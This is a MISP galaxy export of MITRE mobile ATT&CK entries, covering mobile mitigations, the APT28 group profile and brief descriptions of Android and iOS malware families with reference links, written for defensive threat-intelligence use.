Malicious Software Development Tools - MOB-T1065

As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious Software Development Tools - MOB-T1065"*

Table 2635. Table References

Links
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065

http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/

Mobile Attack - Course of Action

ATT&CK Mitigation.

Mobile Attack - Course of Action is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
MITRE

Deploy Compromised Device Detection Method - MOB-M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Deploy Compromised Device Detection Method - MOB-M1010"*

Deploy Compromised Device Detection Method - MOB-M1010 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Lock User Out of Device - MOB-T1049" with estimative-language:likelihood-probability="almost-certain"

Interconnection Filtering - MOB-M1014

In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Interconnection Filtering - MOB-M1014"*

Interconnection Filtering - MOB-M1014 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052" with estimative-language:likelihood-probability="almost-certain"

Use Device-Provided Credential Storage - MOB-M1008

Application developers should use device-provided credential storage mechanisms such as Android’s KeyStore or iOS’s KeyChain. These can prevent credentials from being exposed to an adversary.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Use Device-Provided Credential Storage - MOB-M1008"*

Use Device-Provided Credential Storage - MOB-M1008 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Access Sensitive Data or Credentials in Files - MOB-T1012" with estimative-language:likelihood-probability="almost-certain"

Use Recent OS Version - MOB-M1006

New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Use Recent OS Version - MOB-M1006"*

Use Recent OS Version - MOB-M1006 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Attack PC via USB Connection - MOB-T1030" with estimative-language:likelihood-probability="almost-certain"

Security Updates - MOB-M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates. * On Android devices, access can be controlled based on each device’s security patch level. * On iOS devices, access can be controlled based on the iOS version.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Security Updates - MOB-M1001"*

Security Updates - MOB-M1001 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Device Unlock Code Guessing or Brute Force - MOB-T1062" with estimative-language:likelihood-probability="almost-certain"

Lock Bootloader - MOB-M1003

On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Lock Bootloader - MOB-M1003"*

Lock Bootloader - MOB-M1003 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify OS Kernel or Boot Partition - MOB-T1001" with estimative-language:likelihood-probability="almost-certain"

System Partition Integrity - MOB-M1004

Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="System Partition Integrity - MOB-M1004"*

System Partition Integrity - MOB-M1004 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify System Partition - MOB-T1003" with estimative-language:likelihood-probability="almost-certain"

Attestation - MOB-M1002

Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Attestation - MOB-M1002"*

Attestation - MOB-M1002 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify OS Kernel or Boot Partition - MOB-T1001" with estimative-language:likelihood-probability="almost-certain"

Caution with Device Administrator Access - MOB-M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Caution with Device Administrator*

Access - MOB-M1007"

Caution with Device Administrator Access - MOB-M1007 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Wipe Device Data - MOB-T1050" with estimative-language:likelihood-probability="almost-certain"

Application Developer Guidance - MOB-M1013

This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Application Developer Guidance - MOB-M1013"*

Application Developer Guidance - MOB-M1013 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Access Sensitive Data in Device Logs - MOB-T1016" with estimative-language:likelihood-probability="almost-certain"

Application Vetting - MOB-M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Application Vetting - MOB-M1005"*

Application Vetting - MOB-M1005 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Obfuscated or Encrypted Payload - MOB-T1009" with estimative-language:likelihood-probability="almost-certain"

User Guidance - MOB-M1011

Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="User Guidance - MOB-M1011"*

User Guidance - MOB-M1011 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Attack PC via USB Connection -

MOB-T1030" with estimative-language:likelihood-probability="almost-certain"

Enterprise Policy - MOB-M1012

An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Enterprise Policy - MOB-M1012"*

Enterprise Policy - MOB-M1012 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse of iOS Enterprise App Signing Key - MOB-T1048" with estimative-language:likelihood-probability="almost-certain"

Encrypt Network Traffic - MOB-M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

The tag is: *misp-galaxy:mitre-mobile-attack-course-of-action="Encrypt Network Traffic - MOB-M1009"*

Encrypt Network Traffic - MOB-M1009 has relationships with:

- mitigates: misp-galaxy:mitre-mobile-attack-attack-pattern="Eavesdrop on Insecure Network Communication - MOB-T1042" with estimative-language:likelihood-probability="almost-certain"

Mobile Attack - intrusion Set

Name of ATT&CK Group.

Mobile Attack - intrusion Set is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

APT28 - G0007

APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)

The tag is: *misp-galaxy:mitre-mobile-attack-intrusion-set="APT28 - G0007"*

APT28 - G0007 is also known as:

- APT28
- Sednit
- Sofacy
- Pawn Storm
- Fancy Bear
- STRONTIUM
- Tsar Team
- Threat Group-4127
- TG-4127

APT28 - G0007 has relationships with:

- similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"

Table 2636. Table References

Links
https://attack.mitre.org/wiki/Group/G0007
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign

Mobile Attack - Malware

Name of ATT&CK software.

Mobile Attack - Malware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

AndroRAT - MOB-S0008

AndroRAT "allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors." (Citation: Lookout-EnterpriseApps)

Aliases: AndroRAT

The tag is: *misp-galaxy:mitre-mobile-attack-malware="AndroRAT - MOB-S0008"*

AndroRAT - MOB-S0008 is also known as:

- AndroRAT

AndroRAT - MOB-S0008 has relationships with:

- similar: misp-galaxy:malpedia="AndroRAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015" with estimative-language:likelihood-probability="almost-certain"

Table 2637. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0008
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023

Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).

Aliases: Trojan-SMS.AndroidOS.Agent.ao

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023"*

Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023 is also known as:

- Trojan-SMS.AndroidOS.Agent.ao

Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol -

MOB-T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2638. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0023
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/

DualToy - MOB-S0031

DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).

Aliases: DualToy

The tag is: *misp-galaxy:mitre-mobile-attack-malware="DualToy - MOB-S0031"*

DualToy - MOB-S0031 is also known as:

- DualToy

DualToy - MOB-S0031 has relationships with:

- similar: misp-galaxy:malpedia="DualToy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit via Charging Station or PC - MOB-T1061" with estimative-language:likelihood-probability="almost-certain"

Table 2639. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0031

KeyRaider - MOB-S0004

On jailbroken iOS devices, (Citation: KeyRaider) steals Apple account credentials and other data. It "also has built-in functionality to hold iOS devices for ransom." (Citation: KeyRaider)

Aliases: (Citation: KeyRaider)

The tag is: *misp-galaxy:mitre-mobile-attack-malware="KeyRaider - MOB-S0004"*

KeyRaider - MOB-S0004 is also known as:

- KeyRaider

KeyRaider - MOB-S0004 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Network Traffic Capture or Redirection - MOB-T1013" with estimative-language:likelihood-probability="almost-certain"

Table 2640. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0004
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/

BrainTest - MOB-S0009

Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).

Aliases: BrainTest

The tag is: *misp-galaxy:mitre-mobile-attack-malware="BrainTest - MOB-S0009"*

BrainTest - MOB-S0009 is also known as:

- BrainTest

BrainTest - MOB-S0009 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Download New Code at Runtime - MOB-T1010" with estimative-language:likelihood-probability="almost-certain"

Table 2641. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0009
http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/
https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/

Shedun - MOB-S0010

Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families "have 71 percent to 82 percent code similarity" (Citation: Lookout-Adware), even though they "don’t believe these apps were all created by the same author or group".

Aliases: Shedun, Shuanet, ShiftyBug, Kemoge

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Shedun - MOB-S0010"*

Shedun - MOB-S0010 is also known as:

- Shedun
- Shuanet
- ShiftyBug
- Kemoge

Shedun - MOB-S0010 has relationships with:

- similar: misp-galaxy:android="Kemoge" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Repackaged Application - MOB-T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2642. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0010
https://blog.lookout.com/blog/2015/11/04/trojanized-adware/

DressCode - MOB-S0016

Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)

Aliases: DressCode

The tag is: *misp-galaxy:mitre-mobile-attack-malware="DressCode - MOB-S0016"*

DressCode - MOB-S0016 is also known as:

- DressCode

DressCode - MOB-S0016 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit Enterprise Resources - MOB-T1031" with estimative-language:likelihood-probability="almost-certain"

Table 2643. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0016
http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/

Adups - MOB-S0025

Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed "to help a Chinese phone manufacturer monitor user behavior" and "was not intended for American phones". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).

Aliases: Adups

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Adups - MOB-S0025"*

Adups - MOB-S0025 is also known as:

- Adups

Adups - MOB-S0025 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Location Tracking - MOB-T1033" with estimative-language:likelihood-probability="almost-certain"

Table 2644. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0025
https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html
http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534

Pegasus - MOB-S0005

Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.

Aliases: Pegasus

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Pegasus - MOB-S0005"*

Pegasus - MOB-S0005 is also known as:

- Pegasus

Pegasus - MOB-S0005 has relationships with:

- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015" with estimative-language:likelihood-probability="almost-certain"

Table 2645. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0005
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf
https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/

RuMMS - MOB-S0029

RuMMS is a family of Android malware (Citation: FireEye-RuMMS).

Aliases: RuMMS

The tag is: *misp-galaxy:mitre-mobile-attack-malware="RuMMS - MOB-S0029"*

RuMMS - MOB-S0029 is also known as:

- RuMMS

RuMMS - MOB-S0029 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Local Network Configuration Discovery - MOB-T1025" with estimative-language:likelihood-probability="almost-certain"

Table 2646. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0029
https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html

HummingBad - MOB-S0038

HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).

Aliases: HummingBad

The tag is: *misp-galaxy:mitre-mobile-attack-malware="HummingBad - MOB-S0038"*

HummingBad - MOB-S0038 is also known as:

- HummingBad

HummingBad - MOB-S0038 has relationships with:

- similar: misp-galaxy:android="HummingBad" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Generate Fraudulent Advertising Revenue - MOB-T1075" with estimative-language:likelihood-probability="almost-certain"

Table 2647. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0038
http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/

Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024

Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).

Aliases: Trojan-SMS.AndroidOS.OpFake.a

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Trojan-SMS.AndroidOS.OpFake.a - MOB-*

S0024"

Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024 is also known as:

- Trojan-SMS.AndroidOS.OpFake.a

Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol - MOB-T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2648. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0024
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/

Dendroid - MOB-S0017

Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).

Aliases: Dendroid

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Dendroid - MOB-S0017"*

Dendroid - MOB-S0017 is also known as:

- Dendroid

Dendroid - MOB-S0017 has relationships with:

- similar: misp-galaxy:rat="Dendroid" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Microphone or Camera Recordings - MOB-T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2649. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0017
https://blog.lookout.com/blog/2014/03/06/dendroid/

MazarBOT - MOB-S0019

Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).

Aliases: MazarBOT

The tag is: *misp-galaxy:mitre-mobile-attack-malware="MazarBOT - MOB-S0019"*

MazarBOT - MOB-S0019 is also known as:

- MazarBOT

MazarBOT - MOB-S0019 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015" with estimative-language:likelihood-probability="almost-certain"

Table 2650. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0019
https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/

Gooligan - MOB-S0006

The (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal "authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more." (Citation: Gooligan)

Google (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe (Citation: Gooligan) as part of the Ghost Push Android malware family.

Aliases: (Citation: Gooligan)

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Gooligan - MOB-S0006"*

Gooligan - MOB-S0006 is also known as:

- Gooligan

Gooligan - MOB-S0006 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Access Sensitive Data or Credentials in Files - MOB-T1012" with estimative-language:likelihood-probability="almost-certain"

Table 2651. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0006
http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/
https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi

OldBoot - MOB-S0001

OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).

Aliases: OldBoot

The tag is: *misp-galaxy:mitre-mobile-attack-malware="OldBoot - MOB-S0001"*

OldBoot - MOB-S0001 is also known as:

- OldBoot

OldBoot - MOB-S0001 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify OS Kernel or Boot Partition - MOB-T1001" with estimative-language:likelihood-probability="almost-certain"

Table 2652. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0001
http://thehackernews.com/2014/01/first-widely-distributed-android.html

WireLurker - MOB-S0028

WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).

Aliases: WireLurker

The tag is: *misp-galaxy:mitre-mobile-attack-malware="WireLurker - MOB-S0028"*

WireLurker - MOB-S0028 is also known as:

- WireLurker

WireLurker - MOB-S0028 has relationships with:

- similar: misp-galaxy:malpedia="WireLurker" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Obfuscated or Encrypted Payload - MOB-T1009" with estimative-language:likelihood-probability="almost-certain"

Table 2653. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0028

DroidJack RAT - MOB-S0036

Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).

Aliases: DroidJack RAT

The tag is: *misp-galaxy:mitre-mobile-attack-malware="DroidJack RAT - MOB-S0036"*

DroidJack RAT - MOB-S0036 is also known as:

- DroidJack RAT

DroidJack RAT - MOB-S0036 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Repackaged Application - MOB-T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2654. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0036
https://www.zscaler.com/blogs/research/super-mario-run-malware-2-—-droidjack-rat
https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app

HummingWhale - MOB-S0037

The HummingWhale Android malware family "includes new virtual machine techniques that allow the malware to perform ad fraud better than ever". (Citation: ArsTechnica-HummingWhale)

Aliases: HummingWhale

The tag is: *misp-galaxy:mitre-mobile-attack-malware="HummingWhale - MOB-S0037"*

HummingWhale - MOB-S0037 is also known as:

- HummingWhale

HummingWhale - MOB-S0037 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Generate Fraudulent Advertising Revenue - MOB-T1075" with estimative-language:likelihood-probability="almost-certain"

Table 2655. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0037
http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/

ANDROIDOS_ANSERVER.A - MOB-S0026

ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).

Aliases: ANDROIDOS_ANSERVER.A

The tag is: *misp-galaxy:mitre-mobile-attack-malware="ANDROIDOS_ANSERVER.A - MOB-S0026"*

ANDROIDOS_ANSERVER.A - MOB-S0026 is also known as:

- ANDROIDOS_ANSERVER.A

ANDROIDOS_ANSERVER.A - MOB-S0026 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol - MOB-T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2656. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0026
http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/

Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022

Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).

Aliases: Trojan-SMS.AndroidOS.FakeInst.a

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022"*

Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022 is also known as:

- Trojan-SMS.AndroidOS.FakeInst.a

Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol - MOB-T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2657. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0022
https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/

NotCompatible - MOB-S0015

Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)

Aliases: NotCompatible

The tag is: *misp-galaxy:mitre-mobile-attack-malware="NotCompatible - MOB-S0015"*

NotCompatible - MOB-S0015 is also known as:

- NotCompatible

NotCompatible - MOB-S0015 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit Enterprise Resources - MOB-T1031" with estimative-language:likelihood-probability="almost-certain"

Table 2658. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0015
https://blog.lookout.com/blog/2014/11/19/notcompatible/

X-Agent - MOB-S0030

The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).

Aliases: X-Agent

The tag is: *misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030"*

X-Agent - MOB-S0030 is also known as:

- X-Agent

X-Agent - MOB-S0030 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Repackaged Application - MOB-T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2659. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0030
https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf

Twitoor - MOB-S0018

Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).

Aliases: Twitoor

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Twitoor - MOB-S0018"*

Twitoor - MOB-S0018 is also known as:

- Twitoor

Twitoor - MOB-S0018 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol - MOB-T1040" with estimative-language:likelihood-probability="almost-certain"

Table 2660. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0018
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/

OBAD - MOB-S0002

OBAD is a family of Android malware (Citation: TrendMicro-Obad).

Aliases: OBAD

The tag is: *misp-galaxy:mitre-mobile-attack-malware="OBAD - MOB-S0002"*

OBAD - MOB-S0002 is also known as:

- OBAD

OBAD - MOB-S0002 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Obfuscated or Encrypted Payload - MOB-T1009" with estimative-language:likelihood-probability="almost-certain"

Table 2661. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0002
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/

Android/Chuli.A - MOB-S0020

As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.

Aliases: Android/Chuli.A

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Android/Chuli.A - MOB-S0020"*

Android/Chuli.A - MOB-S0020 is also known as:

- Android/Chuli.A

Android/Chuli.A - MOB-S0020 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="App Delivered via Email Attachment - MOB-T1037" with estimative-language:likelihood-probability="almost-certain"

Table 2662. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0020
https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/

PJApps - MOB-S0007

According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family "may collect and leak the victim’s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device."

Aliases: PJApps

